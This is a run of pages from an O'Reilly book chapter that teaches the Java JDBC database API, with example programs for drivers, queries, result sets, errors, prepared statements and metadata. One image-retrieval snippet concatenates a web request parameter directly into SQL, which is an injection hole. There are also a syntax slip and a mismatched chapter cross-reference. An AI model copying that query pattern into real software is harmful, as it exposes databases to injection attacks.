The JDBC[1] API provides Java applications with mid-level access to most database systems, via the Structured Query Language (SQL). JDBC is a key enterprise API, as it's hard to imagine an enterprise application that doesn't use a database in some way. This chapter starts by demonstrating the central concepts and classes that comprise the original JDBC API (JDBC 1.0), which was introduced as an add-on to Java 1.0 and included as part of the core Java 1.1 API. It concludes with an introduction to the new JDBC 2.0 features that are provided as part of Version 1.2 of the Java 2 platform.

[1]According to Sun, JDBC is not an acronym for Java Database Connectivity, although most people assume it is.

A word of caution: while the java.sql package is less complicated than, say, the RMI packages, it does require grounding in general database concepts and the SQL language itself. This book does include a brief SQL reference (see Chapter 8, "SQL Reference", but if you have never worked with a relational database system before, this chapter is not the place to start. For a more complete treatment of JDBC and general database concepts, I recommend Database Programming with JDBC and Java by George Reese (O'Reilly).

2.1. JDBC Architecture

Different database systems have surprisingly little in common: just a similar purpose and a mostly compatible query language. Beyond that, every database has its own API that you must learn to write programs that interact with the database. This has meant that writing code capable of interfacing with databases from more than one vendor has been a daunting challenge. Cross-database APIs exist, most notably Microsoft's ODBC API, but these tend to find themselves, at best, limited to a particular platform.

JDBC is Sun's attempt to create a platform-neutral interface between databases and Java. With JDBC, you can count on a standard set of database access features and (usually) a particular subset of SQL, SQL-92. The JDBC API defines a set of interfaces that encapsulate major database functionality, including running queries, processing results, and determining configuration information. A database vendor or third-party developer writes a JDBC driver, which is a set of classes that implements these interfaces for a particular database system. An application can use a number of drivers interchangeably. Figure 2-1 shows how an application uses JDBC to interact with one or more databases without knowing about the underlying driver implementations.

Figure 2-1. JDBC-database interaction

Previous | Home | Next
1.5. Java Enterprise APIs Versus Jini | Book Index | 2.2. JDBC Basics
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


JDBC Basics (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

2.2. JDBC Basics

Before we discuss all of the individual components of JDBC, let's look at a simple example that incorporates most of the major pieces of JDBC functionality. Example 2-1 loads a driver, connects to the database, executes some SQL, and retrieves the results. It also keeps an eye out for any database-related errors.

Example 2-1. A Simple JDBC Example

import java.sql.*;

public class JDBCSample {

  public static void main(java.lang.String[] args) {
    try {
      // This is where we load the driver
      Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
    }
    catch (ClassNotFoundException e) {
      System.out.println("Unable to load Driver Class");
      return;
    }

    try {
      // All database access is within a try/catch block. Connect to database,
      // specifying particular database, username, and password
      Connection con = DriverManager.getConnection("jdbc:odbc:companydb",
                       "", "");

      // Create and execute an SQL Statement
      Statement stmt = con.createStatement();
      ResultSet rs = stmt.executeQuery("SELECT FIRST_NAME FROM EMPLOYEES");

      // Display the SQL Results
      while(rs.next()) {
        System.out.println(rs.getString("FIRST_NAME"));
      }

      // Make sure our database resources are released
      rs.close();
      stmt.close();
      con.close();

    }
    catch (SQLException se) {
      // Inform user of any SQL errors
      System.out.println("SQL Exception: " + se.getMessage());
      se.printStackTrace(System.out);
    }
  }
}

Example 2-1 starts out by loading a JDBC driver class (in this case, Sun's JDBC-ODBC Bridge). Then it creates a database connection, represented by a Connection object, using that driver. With the database connection, we can create a Statement object to represent an SQL statement. Executing an SQL statement produces a ResultSet that contains the results of a query. The program displays the results and then cleans up the resources it has used. If an error occurs, a SQLException is thrown, so our program traps that exception and displays some of the information it encapsulates.

Clearly, there is a lot going on in this simple program. Every Java application that uses JDBC follows these basic steps, so the following sections discuss each step in much more detail.

Previous | Home | Next
2.1. JDBC Architecture | Book Index | 2.3. JDBC Drivers
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


JDBC Drivers (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

2.3. JDBC Drivers

Before you can use a driver, the driver must be registered with the JDBC DriverManager. This is typically done by loading the driver class using the Class.forName() method:

try {
  Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
  Class.forName("com.oracle.jdbc.OracleDriver");
}
catch (ClassNotFoundException e) {
  /* Handle Exception */
}

One reason most programs call Class.forName() is that this method accepts a String argument, meaning that the program can store driver selection information dynamically (e.g., in a properties file).

Another way to register drivers is to add the driver classes to the jdbc.drivers property. To use this technique, add a line like the following to ~/.hotjava/properties (on Windows systems this file can be found in your Java SDK installation directory):

jdbc.drivers=com.oracle.jdbc.OracleDriver:foo.driver.dbDriver:com.al.AlDriver;

Separate the names of individual drivers with colons and be sure the line ends with a semicolon. Programs rarely use this approach, as it requires additional configuration work on the part of end users. Every user needs to have the appropriate JDBC driver classes specified in his properties file.

JDBC drivers are available for most database platforms, from a number of vendors and in a number of different flavors. There are four categories of drivers:

Type 1 JDBC-ODBC Bridge Drivers

Type 1 drivers use a bridge technology to connect a Java client to an ODBC database system. The JDBC-ODBC Bridge from Sun and InterSolv is the only extant example of a Type 1 driver. Type 1 drivers require some sort of non-Java software to be installed on the machine running your code, and they are implemented using native code.

Type 2 Native-API Partly Java Drivers

Type 2 drivers use a native code library to access a database, wrapping a thin layer of Java around the native library. For example, with Oracle databases, the native access might be through the Oracle Call Interface (OCI) libraries that were originally designed for C/C++ programmers. Type 2 drivers are implemented with native code, so they may perform better than all-Java drivers, but they also add an element of risk, as a defect in the native code can crash the Java Virtual Machine.

Type 3 Net-protocol All-Java Drivers

Type 3 drivers define a generic network protocol that interfaces with a piece of custom middleware. The middleware component might use any other type of driver to provide the actual database access. BEA's WebLogic product line (formerly known as WebLogic Tengah and before that as jdbcKona/T3) is an example. These drivers are especially useful for applet deployment, since the actual JDBC classes can be written entirely in Java and downloaded by the client on the fly.

Type 4 Native-protocol All-Java Drivers

Type 4 drivers are written entirely in Java. They understand database-specific networking protocols and can access the database directly without any additional software. These drivers are also well suited for applet programming, provided that the Java security manager allows TCP/IP connections to the database server.

When you are selecting a driver, you need to balance speed, reliability, and portability. Different applications have different needs. A standalone, GUI-intensive program that always runs on a Windows NT system will benefit from the additional speed of a Type 2, native-code driver. An applet might need to use a Type 3 driver to get around a firewall. A servlet that is deployed across multiple platforms might require the flexibility of a Type 4 driver.

A list of currently available JDBC drivers is available at http://java.sun.com/products/jdbc/jdbc.drivers.html.

2.3.1. JDBC URLs

A JDBC driver uses a JDBC URL to identify and connect to a particular database. These URLs are generally of the form:

jdbc:driver:databasename

The actual standard is quite fluid, however, as different databases require different information to connect successfully. For example, the Oracle JDBC-Thin driver uses a URL of the form:

jdbc:oracle:thin:@site:port:database

while the JDBC-ODBC Bridge uses:

jdbc:odbc:datasource;odbcoptions

The only requirement is that a driver be able to recognize its own URLs.

2.3.2. The JDBC-ODBC Bridge

The JDBC-ODBC Bridge ships with JDK 1.1 and the Java 2 SDK for Windows and Solaris systems. The bridge provides an interface between JDBC and database drivers written using Microsoft's Open DataBase Connectivity (ODBC) API. The bridge was originally written to allow the developer community to get up and running quickly with JDBC. Since the bridge makes extensive use of native method calls, it is not recommended for long-term or high-volume deployment.

The bridge is not a required component of the Java SDK, so it is not supported by most web browsers or other runtime environments. Using the bridge in an applet requires a browser with a JVM that supports the JDBC-ODBC Bridge, as well as a properly configured ODBC driver and data source on the client side. Finally, due to different implementations of the native methods interface, the bridge does not work with some development environments, most notably Microsoft Visual J++.

The JDBC URL subprotocol odbc has been reserved for the bridge. Like most JDBC URLs, it allows programs to encode extra information about the connection. ODBC URLs are of the form:

jdbc:odbc:datasourcename[;attribute-name=attribute-value]*

For instance, a JDBC URL pointing to an ODBC data source named companydb with the CacheSize attribute set to 10 looks like this:

jdbc:odbc:companydb;CacheSize=10
Previous | Home | Next
2.2. JDBC Basics | Book Index | 2.4. Connecting to the Database
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Connecting to the Database (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

2.4. Connecting to the Database

The java.sql.Connection object, which encapsulates a single connection to a particular database, forms the basis of all JDBC data-handling code. An application can maintain multiple connections, up to the limits imposed by the database system itself. A standard small office or web server Oracle installation can support 50 or so connections, while a major corporate database could host several thousand. The DriverManager.getConnection() method creates a connection:

Connection con = DriverManager.getConnection("url", "user", "password");

You pass three arguments to getConnection(): a JDBC URL, a database username, and a password. For databases that do not require explicit logins, the user and password strings should be left blank. When the method is called, the DriverManager queries each registered driver, asking if it understands the URL. If a driver recognizes the URL, it returns a Connection object. Because the getConnection() method checks each driver in turn, you should avoid loading more drivers than are necessary for your application.

The getConnection() method has two other variants that are less frequently used. One variant takes a single String argument and tries to create a connection to that JDBC URL without a username or password. The other version takes a JDBC URL and a java.util.Properties object that contains a set of name/value pairs. You generally need to provide at least username=value and password=value pairs.

When a Connection has outlived its usefulness, you should be sure to explicitly close it by calling its close() method. This frees up any memory being used by the object, and, more importantly, it releases any other database resources the connection may be holding on to. These resources (cursors, handles, and so on) can be much more valuable than a few bytes of memory, as they are often quite limited. This is particularly important in applications such as servlets that might need to create and destroy thousands of JDBC connections between restarts. Because of the way some JDBC drivers are designed, it is not safe to rely on Java's garbage collection to remove unneeded JDBC connections.

The JDBC 2.0 standard extension, discussed later in this chapter, provides a facility for connection pooling, whereby an application can maintain several open database connections and spread the load among them. This is often necessary for enterprise-level applications, such as servlets, that may be called upon to perform tens of thousands of database transactions a day.

Previous | Home | Next
2.3. JDBC Drivers | Book Index | 2.5. Statements
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Statements (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

2.5. Statements

Once you have created a Connection, you can begin using it to execute SQL statements. This is usually done via Statement objects. There are actually three kinds of statements in JDBC:

Statement

Represents a basic SQL statement

PreparedStatement

Represents a precompiled SQL statement, which can offer improved performance

CallableStatement

Allows JDBC programs complete access to stored procedures within the database itself

We're just going to discuss the Statement object for now; PreparedStatement and CallableStatement are covered in detail later in this chapter.

To get a Statement object, you call the createStatement() method of a Connection:

Statement stmt = con.createStatement();

Once you have created a Statement, you use it to execute SQL statements. A statement can either be a query that returns results or an operation that manipulates the database in some way. If you are performing a query, use the executeQuery() method of the Statement object:

ResultSet rs = stmt.executeQuery("SELECT * FROM CUSTOMERS");

Here we've used executeQuery() to run a SELECT statement. This call returns a ResultSet object that contains the results of the query (we'll take a closer look at ResultSet in the next section).

Statement also provides an executeUpdate() method, for running SQL statements that do not return results, such as the UPDATE and DELETE statements. executeUpdate() returns an integer that indicates the number of rows in the database that were altered.

If you don't know whether a SQL statement is going to return results (such as when the user is entering the statement in a form field), you can use the execute() method of Statement. This method returns true if there is a result associated with the statement. In this case, the ResultSet can be retrieved using the getResultSet() method and the number of updated rows can be retrieved using getUpdateCount():

Statement unknownSQL = con.createStatement();
if(unknownSQL.execute(sqlString)) {
  ResultSet rs = unknownSQL.getResultSet();
  // display the results
}
else {
  System.out.println("Rows updated: " + unknownSQL.getUpdateCount());
}

It is important to remember that a Statement object represents a single SQL statement. A call to executeQuery(), executeUpdate(), or execute() implicitly closes any active ResultSet associated with the Statement. In other words, you need to be sure you are done with the results from a query before you execute another query with the same Statement object. If your application needs to execute more than one simultaneous query, you need to use multiple Statement objects. As a general rule, calling the close() method of any JDBC object also closes any dependent objects, such as a Statement generated by a Connection or a ResultSet generated by a Statement, but well-written JDBC code closes everything explicitly.

2.5.1. Multiple Result Sets

It is possible to write a SQL statement that returns more than one ResultSet or update count (exact methods of doing so vary depending on the database). The Statement object supports this functionality via the getMoreResults() method. Calling this method implicitly closes any existing ResultSet and moves to the next set of results for the statement. getMoreResults() returns true if there is another ResultSet available to be retrieved by getResultSet(). However, the method returns false if the next statement is an update, even if there is another set of results waiting farther down the line. To be sure you've processed all the results for a Statement, you need to check that getMoreResults() returns false and that getUpdateCount() returns -1.

We can modify the previous execute() example to handle multiple results:

Statement unknownSQL = con.createStatement();
unknownSQL.execute(sqlString);
while (true) {
  rs = unknownSQL.getResultSet();
  if(rs != null)
    // display the results
  else
    // process the update data

 // Advance and quit if done
  if((unknownSQL.getMoreResults() == false) &&
     (unknownSQL.getUpdateCount() == -1))
    break;
}

Statements that return multiple results are actually quite rare. They generally arise from stored procedures or SQL implementations that allow multiple statements to be executed in a batch. Under SyBase, for instance, multiple SELECT statements may be separated by newline (\n) characters.

Previous | Home | Next
2.4. Connecting to the Database | Book Index | 2.6. Results
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Results (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

2.6. Results

When a SQL query executes, the results form a pseudo-table that contains all rows that fit the query parameters. For instance, here's a textual representation of the results of the query string "SELECT NAME, CUSTOMER_ID, PHONE FROM CUSTOMERS":

NAME                             CUSTOMER_ID PHONE
-------------------------------- ----------- -------------------
Jane Markham                               1 617 555-1212
Louis Smith                                2 617 555-1213
Woodrow Lang                               3 508 555-7171
Dr. John Smith                             4 (011) 42 323-1239

This kind of textual representation is not very useful for Java programs. Instead, JDBC uses the java.sql.ResultSet interface to encapsulate the query results as Java primitive types and objects. You can think of a ResultSet as an object that represents an underlying table of query results, where you use method calls to navigate between rows and retrieve particular column values.

A Java program might handle the previous query as follows:

Statement stmt = con.createStatement();
ResultSet rs = stmt.executeQuery(
  "SELECT NAME, CUSTOMER_ID, PHONE FROM CUSTOMERS");

while(rs.next()) {
  System.out.print("Customer #" + rs.getString("CUSTOMER_ID"));
  System.out.print(", " + rs.getString("NAME"));
  System.out.println(", is at " + rs.getString("PHONE");
}
rs.close();
stmt.close();

Here's the resulting output:

Customer #1, Jane Markham, is at 617 555-1212
Customer #2, Louis Smith, is at 617 555-1213
Customer #3, Woodrow Lang, is at 508 555-7171
Customer #4, Dr. John Smith, is at (011) 42 323-1239

The code loops through each row of the ResultSet using the next()method. When you start working with a ResultSet, you are positioned before the first row of results. That means you have to call next() once just to access the first row. Each time you call next(), you move to the next row. If there are no more rows to read, next() returns false. Note that with the JDBC 1.0 ResultSet, you can only move forward through the results and, since there is no way to go back to the beginning, you can read them only once. The JDBC 2.0 ResultSet, which we discuss later, overcomes these limitations.

Individual column values are read using the getString() method. getString() is one of a family of getXXX() methods, each of which returns data of a particular type. There are two versions of each getXXX() method: one that takes the case-insensitive String name of the column to be read (e.g., "PHONE", "CUSTOMER_ID") and one that takes a SQL-style column index. Note that column indexes run from 1 to n, unlike Java array indexes, which run from 0 to n-1, where n is the number of columns.

The most important getXXX() method is getObject(), which can return any kind of data packaged in an object wrapper. For example, callinggetObject() on an integer field returns an Integer object, while calling it on a date field yields a java.sql.Date object. Table 2-1 lists the different getXXX() methods, along with the corresponding SQL data type and Java data type. Where the return type for a getXXX() method is different from the Java type, the return type is shown in parentheses. Note that the java.sql.Types class defines integer constants that represent the standard SQL data types.

Table 2-1. SQL Data Types, Java Types, and Default getXXX( ) Methods

SQL Data Type | Java Type | GetXXX( ) Method
CHAR | String | getString()
VARCHAR | String | getString()
LONGVARCHAR | String | getString()
NUMERIC | java.math.BigDecimal | getBigDecimal()
DECIMAL | java.math.BigDecimal | getBigDecimal()
BIT | Boolean (boolean) | getBoolean()
TINYINT | Integer (byte) | getByte()
SMALLINT | Integer (short) | getShort()
INTEGER | Integer (int) | getInt()
BIGINT | Long (long) | getLong()
REAL | Float (float) | getFloat()
FLOAT | Double (double) | getDouble()
DOUBLE | Double (double) | getDouble()
BINARY | byte[] | getBytes()
VARBINARY | byte[] | getBytes()
LONGVARBINARY | byte[] | getBytes()
DATE | java.sql.Date | getDate()
TIME | java.sql.Time | getTime()
TIMESTAMP | java.sql.Timestamp | getTimestamp()

Note that this table merely lists the default mappings according to the JDBC specification, and some drivers do not follow these mappings exactly. Also, a certain amount of casting is permitted. For instance, the getString() method returns a String representation of just about any data type.

2.6.1. Handling Nulls

Sometimes database columns contain null, or empty, values. However, because of the way certain database APIs are written, it is impossible for JDBC to provide a method to determine before the fact whether or not a column is null.[2] Methods that don't return an object of some sort are especially vulnerable. getInt(), for instance, resorts to returning a value of -1. JDBC deals with this problem via the wasNull() method, which indicates whether or not the last column read was null:

[2] The driver can figure this out after reading the object, but since some driver implementations and database connection protocols allow you to reliably read a value from a column only once, implementing an isNull() method requires the ResultSet to cache the entire row in memory. While many programs do exactly this, it is not appropriate behavior for the lowest-level result handler.

int numberInStock = rs.getInt("STOCK");
if(rs.wasNull())
  System.out.println("Result was null");
else
  System.out.println("In Stock: " + numberInStock);

Alternately, you can call getObject() and test to see if the result is null:[3]

[3]Some drivers, including early versions of Oracle's JDBC drivers, don't properly support this behavior.

Object numberInStock = rs.getObject("STOCK");
if(numberInStock == null)
  System.out.println("Result was null");

2.6.2. Large Data Types

You can retrieve large chunks of data from a ResultSet as a stream. This can be useful when reading images from a database or loading large documents from a data store, for example. The relevant ResultSet methods are getAsciiStream(), getBinaryStream(), and getUnicodeStream(), where each method has column name and column index variants, just like the other getXXX() methods. Each of these methods returns an InputStream. Here's a code sample that retrieves an image from a PICTURES table and writes the image to an OutputStream of some kind (this might be a ServletOutputStream for a Java servlet that produces a GIF from a database):

ResultSet rs =
  stmt.executeQuery("SELECT IMAGE FROM PICTURES WHERE PID = " +
                     req.getParameter("PID"));

if (rs.next()) {
  BufferedInputStream gifData =
    new BufferedInputStream(rs.getBinaryStream("IMAGE"));
  byte[] buf = new byte[4 * 1024];  // 4K buffer
  int len;
  while ((len = gifData.read(buf, 0, buf.length)) != -1) {
    out.write(buf, 0, len);
  }
}

The JDBC 2.0 API includes Blob and Clob objects to handle large data types; we discuss these objects later in this chapter.

2.6.3. Dates and Times

JDBC defines three classes devoted to storing date and time information: java.sql.Date, java.sql.Time, and java.sql.Timestamp. These correspond to the SQL DATE, TIME, and TIMESTAMP types. The java.util.Date class is not suitable for any of them, so JDBC defines a new set of wrapper classes that extend (or limit) the standard Date class to fit the JDBC mold.

The SQL DATE type contains only a date, so the java.sql.Date class contains only a day, month, and year. SQL TIME (java.sql.Time) includes only a time of day, without date information. SQL TIMESTAMP (java.sql.Timestamp) includes both, but at nanosecond precision (the standard Date class is incapable of handling more than milliseconds).

Since different DBMS packages have different methods of encoding date and time information, JDBC supports the ISO date escape sequences, and individual drivers are required to translate these sequences into whatever form the underlying DBMS requires. The syntax for dates, times, and timestamps is:

{d 'yyyy-mm-dd'}
{t 'hh:mm:ss'}
{ts 'yyyy-mm-dd hh:mm:ss.ms.microseconds.ns'}

A TIMESTAMP only needs to be specified up to seconds; the remaining values are optional. Here is an example that uses a date escape sequence (where dateSQL is a Statement of some sort):

dateSQL.execute("INSERT INTO FRIENDS(BIRTHDAY) VALUES ({d '1978-12-14'})");
Previous | Home | Next
2.5. Statements | Book Index | 2.7. Handling Errors
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Handling Errors (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

2.7. Handling Errors

Any JDBC object that encounters an error serious enough to halt execution throws a SQLException. For example, database connection errors, malformed SQL statements, and insufficient database privileges all throw SQLException objects.

The SQLException class extends the normal java.lang.Exception class and defines an additional method called getNextException(). This allows JDBC classes to chain a series of SQLException objects together. SQLException also defines the getSQLState() and getErrorCode() methods to provide additional information about an error. The value returned by getSQLState() is one of the ANSI-92 SQL state codes; these codes are listed in Chapter 8, "SQL Reference". getErrorCode() returns a vendor-specific error code.

An extremely conscientious application might have a catch block that looks something like this:

try {
  // Actual database code
}
catch (SQLException e) {
  while(e != null) {
    System.out.println("\nSQL Exception:");
    System.out.println(e.getMessage());
    System.out.println("ANSI-92 SQL State: " + e.getSQLState());
    System.out.println("Vendor Error Code: " + e.getErrorCode());
    e = e.getNextException();
  }
}

2.7.1. SQL Warnings

JDBC classes also have the option of generating (but not throwing) a SQLWarning exception when something is not quite right, but at the same time, not sufficiently serious to warrant halting the entire program. For example, attempting to set a transaction isolation mode that is not supported by the underlying database might generate a warning rather than an exception. Remember, exactly what qualifies as a warning condition varies by database.

SQLWarning encapsulates the same information as SQLException and is used in a similar fashion. However, unlike SQLException objects, which are caught in try/catch blocks, warnings are retrieved using the getWarnings() methods of the Connection, Statement, ResultSet, CallableStatement, and PreparedStatement interfaces. SQLWarning implements the getMessage(), getSQLState(), and getErrorCode() methods in the same manner as SQLException.

If you are debugging an application, and you want to be aware of every little thing that goes wrong within the database, you might use a printWarnings() method like this one:

void printWarnings(SQLWarning warn) {
  while (warn != null) {
    System.out.println("\nSQL Warning:");
    System.out.println(warn.getMessage());
    System.out.println("ANSI-92 SQL State: " + warn.getSQLState());
    System.out.println("Vendor Error Code: " + warn.getErrorCode());
    warn = warn.getNextWarning();
  }
}

Then you could use the printWarnings() method as follows:

// Database initialization code here
ResultSet rs = stmt.executeQuery("SELECT * FROM CUSTOMERS");
printWarnings(stmt.getWarnings());
printWarnings(rs.getWarnings());
// Rest of database code
Previous | Home | Next
2.6. Results | Book Index | 2.8. Prepared Statements
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Prepared Statements (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

2.8. Prepared Statements

The PreparedStatement object is a close relative of the Statement object. Both accomplish roughly the same thing: running SQL statements. PreparedStatement, however, allows you to precompile your SQL and run it repeatedly, adjusting specific parameters as necessary. Since processing SQL strings is a large part of a database's overhead, getting compilation out of the way at the start can significantly improve performance. With proper use, it can also simplify otherwise tedious database tasks.

As with Statement, you create a PreparedStatement object from a Connection object. In this case, though, the SQL is specified at creation instead of execution, using the prepareStatement() method of Connection:

PreparedStatement pstmt = con.prepareStatement(
      "INSERT INTO EMPLOYEES (NAME, PHONE) VALUES (?, ?)");

This SQL statement inserts a new row into the EMPLOYEES table, setting the NAME and PHONE columns to certain values. Since the whole point of a PreparedStatement is to be able to execute the statement repeatedly, we don't specify values in the call to prepareStatement(), but instead use question marks (?) to indicate parameters for the statement. To actually run the statement, we specify values for the parameters and then execute the statement:

pstmt.clearParameters();
pstmt.setString(1, "Jimmy Adelphi");
pstmt.setString(2, "201 555-7823");
pstmt.executeUpdate();

Before setting parameters, we clear out any previously specified parameters with the clearParameters() method. Then we can set the value for each parameter (indexed from 1 to the number of question marks) using the setString() method. PreparedStatement defines numerous setXXX() methods for specifying different types of parameters; see the java.sql reference material later in this book for a complete list. Finally, we use the executeUpdate() method to run the SQL.

The setObject() method can insert Java object types into the database, provided that those objects can be converted to standard SQL types. setObject() comes in three flavors:

setObject(int parameterIndex, Object x, int targetSqlType, int scale)
setObject(int parameterIndex, Object x, int targetSqlType)
setObject(int parameterIndex, Object x)

Calling setObject() with only a parameter index and an Object causes the method to try and automatically map the Object to a standard SQL type (see Table 2-1). Calling setObject() with a type specified allows you to control the mapping. The setXXX() methods work a little differently, in that they attempt to map Java primitive types to JDBC types.

You can use PreparedStatement to insert null values into a database, either by calling the setNull() method or by passing a null value to one of the setXXX() methods that take an Object. In either case, you must specify the target SQL type.

Let's clarify with an example. We want to set the first parameter of a prepared statement to the value of an Integer object, while the second parameter, which is a VARCHAR, should be null. Here's some code that does that:

Integer i = new Integer(32);
pstmt.setObject(1, i, Types.INTEGER);
pstmt.setObject(2, null, Types.VARCHAR);
// or pstmt.setNull(2, Types.VARCHAR);
Previous | Home | Next
2.7. Handling Errors | Book Index | 2.9. Metadata
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Metadata (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

2.9. Metadata

Most JDBC programs are designed to work with a specific database and particular tables in that database; the program knows exactly what kind of data it is dealing with. Some applications, however, need to dynamically discover information about result set structures or underlying database configurations. This information is called metadata, and JDBC provides two classes for dealing with it: DatabaseMetaData and ResultSetMetaData. If you are developing a JDBC application that will be deployed outside a known environment, you need to be familiar with these interfaces.

2.9.1. DatabaseMetaData

You can retrieve general information about the structure of a database with the java.sql.DatabaseMetaData interface. By making thorough use of this class, a program can tailor its SQL and use of JDBC on the fly, to accommodate different levels of database and JDBC driver support.

Database metadata is associated with a particular connection, so DatabaseMetaData objects are created with the getMetaData() method of Connection:

DatabaseMetaData dbmeta = con.getMetaData();

DatabaseMetaData provides an overwhelming number of methods you can call to get actual configuration information about the database. Some of these return String objects (getURL()), some return boolean values (nullsAreSortedHigh()), and still others return integers (getMaxConnections()). The full list is given in Chapter 17, "The java.rmi.server Package".

A number of other methods return ResultSet objects. These methods, such as getColumns(), getTableTypes(), and getPrivileges(), generally encapsulate complex or variable-length information. The getTables() method, for instance, returns a ResultSet that contains the name of every table in the database and a good deal of extra information besides.

Many of the DatabaseMetaData methods take string patterns as arguments, allowing for simple wildcard searching. A percent sign (%) substitutes for any number of characters, and an underscore ( _ ) calls for a single character match. Thus, %CUSTOMER% matches NEW_CUSTOMERS, CUSTOMER, and CUSTOMERS, while CUSTOMER% matches only CUSTOMER and CUSTOMERS. All of these patterns are case-sensitive.

Example 2-2 shows a simple program that displays some basic database characteristics, a list of tables, and a list of indexes on each table. The program assumes a JDBC driver with full support for all the DatabaseMetaData commands.

Example 2-2. DBViewer Program

import java.sql.*;
import java.util.StringTokenizer;

public class DBViewer {

  final static String jdbcURL = "jdbc:odbc:customerdsn";
  final static String jdbcDriver = "sun.jdbc.odbc.JdbcOdbcDriver";

  public static void main(java.lang.String[] args) {

    System.out.println("--- Database Viewer ---");

    try {
      Class.forName(jdbcDriver);
      Connection con = DriverManager.getConnection(jdbcURL, "", "");

      DatabaseMetaData dbmd = con.getMetaData();

      System.out.println("Driver Name: " + dbmd.getDriverName());
      System.out.println("Database Product: " + dbmd.getDatabaseProductName());
      System.out.println("SQL Keywords Supported:");
      StringTokenizer st = new StringTokenizer(dbmd.getSQLKeywords(), ",");
      while(st.hasMoreTokens())
        System.out.println(" " + st.nextToken());

      // Get a ResultSet that contains all of the tables in this database
      // We specify a table_type of "TABLE" to prevent seeing system tables,
      // views and so forth
      String[] tableTypes = { "TABLE" };
      ResultSet allTables = dbmd.getTables(null,null,null,tableTypes);
      while(allTables.next()) {
        String table_name = allTables.getString("TABLE_NAME");
        System.out.println("Table Name: " + table_name);
        System.out.println("Table Type: " + allTables.getString("TABLE_TYPE"));
        System.out.println("Indexes: ");

        // Get a list of all the indexes for this table
        ResultSet indexList = dbmd.getIndexInfo(null,null,table_name,false,false);
        while(indexList.next()) {
          System.out.println(" Index Name: "+indexList.getString("INDEX_NAME"));
          System.out.println(" Column Name:"+indexList.getString("COLUMN_NAME"));
        }
        indexList.close();
      }

      allTables.close();
      con.close();
    }
    catch (ClassNotFoundException e) {
      System.out.println("Unable to load database driver class");
    }
    catch (SQLException e) {
      System.out.println("SQL Exception: " + e.getMessage());
    }
  }
}

Here's some sample output when this program is run against a Microsoft Access database via the JDBC-ODBC bridge (snipped slightly to prevent several pages of uninteresting text):

--- Database Viewer ---
Driver Name: JDBC-ODBC Bridge (odbcjt32.dll)
Database Product: ACCESS
SQL Keywords Supported:
 ALPHANUMERIC
 AUTOINCREMENT
 BINARY
 BYTE
 FLOAT8
 ...
Table Name: Customers
Table Type: TABLE
Indexes:
 Index Name: PrimaryKey
 Column Name:CustNo
 Index Name: AddressIndex
 Column Name:Address
 ...

2.9.2. ResultSetMetaData

The ResultSetMetaData interface provides information about the structure of a particular ResultSet. Data provided by ResultSetMetaData includes the number of available columns, the names of those columns, and the kind of data available in each. Example 2-3 shows a short program that displays the contents of a table and shows the data type for each column.

Example 2-3. TableViewer Program

import java.sql.*;
import java.util.StringTokenizer;

public class TableViewer {

  final static String jdbcURL = "jdbc:oracle:customerdb";
  final static String jdbcDriver = "oracle.jdbc.OracleDriver";
  final static String table = "CUSTOMERS";

  public static void main(java.lang.String[] args) {

    System.out.println("--- Table Viewer ---");

    try {
      Class.forName(jdbcDriver);
      Connection con = DriverManager.getConnection(jdbcURL, "", "");
      Statement stmt = con.createStatement();
      ResultSet rs = stmt.executeQuery("SELECT * FROM "+ table);

      ResultSetMetaData rsmd = rs.getMetaData();
      int columnCount = rsmd.getColumnCount();
      for(int col = 1; col <= columnCount; col++) {
        System.out.print(rsmd.getColumnLabel(col));
        System.out.print(" (" + rsmd.getColumnTypeName(col)+")");
        if(col < columnCount)
          System.out.print(", ");
      }
      System.out.println();

      while(rs.next()) {
        for(int col = 1; col <= columnCount; col++) {
          System.out.print(rs.getString(col));
          if(col < columnCount)
            System.out.print(", ");
        }
        System.out.println();
      }

      rs.close();
      stmt.close();
      con.close();
    }
    catch (ClassNotFoundException e) {
      System.out.println("Unable to load database driver class");
    }
    catch (SQLException e) {
      System.out.println("SQL Exception: " + e.getMessage());
    }
  }
}

The key methods used here are getColumnCount(), getColumnLabel(), and getColumnTypeName(). Note that type names returned by getColumnTypeName() are database-specific (e.g., Oracle refers to a string value as a VARCHAR; Microsoft Access calls it TEXT). Here's some sample output for TableViewer:

--- Table Viewer ---
CustNo (SHORT), CustName (VARCHAR), CustAddress (VARCHAR)
1, Jane Markham, 12 Stevens St
2, Louis Smith, 45 Morrison Lane
3, Woodrow Lang, 4 Times Square

Previous | Home | Next
2.8. Prepared Statements | Book Index | 2.10. Transactions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Transactions (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

2.10. Transactions

A transaction is a group of several operations that must behave atomically, or as if they are a single, indivisible operation. With regards to databases, transactions allow you to combine one or more database actions into a single atomic unit. If you have an application that needs to execute multiple SQL statements to fulfill one goal (say, an inventory management system that needs to move items from an INVENTORY table to a SHIPPING table), you probably want to use JDBC's transaction services to accomplish the goal.

Working with a transaction involves the following steps: start the transaction, perform its component operations, and then either commit the transaction if all the component operations succeed or roll it back if one of the operations fails. The ability to roll back a transaction is the key feature. This means that if any one SQL statement fails, the entire operation fails, and it is as though none of the component operations took place. Therefore it is impossible to end up with a situation where, for example, the INVENTORY table has been debited, but the SHIPPING table has not been credited.

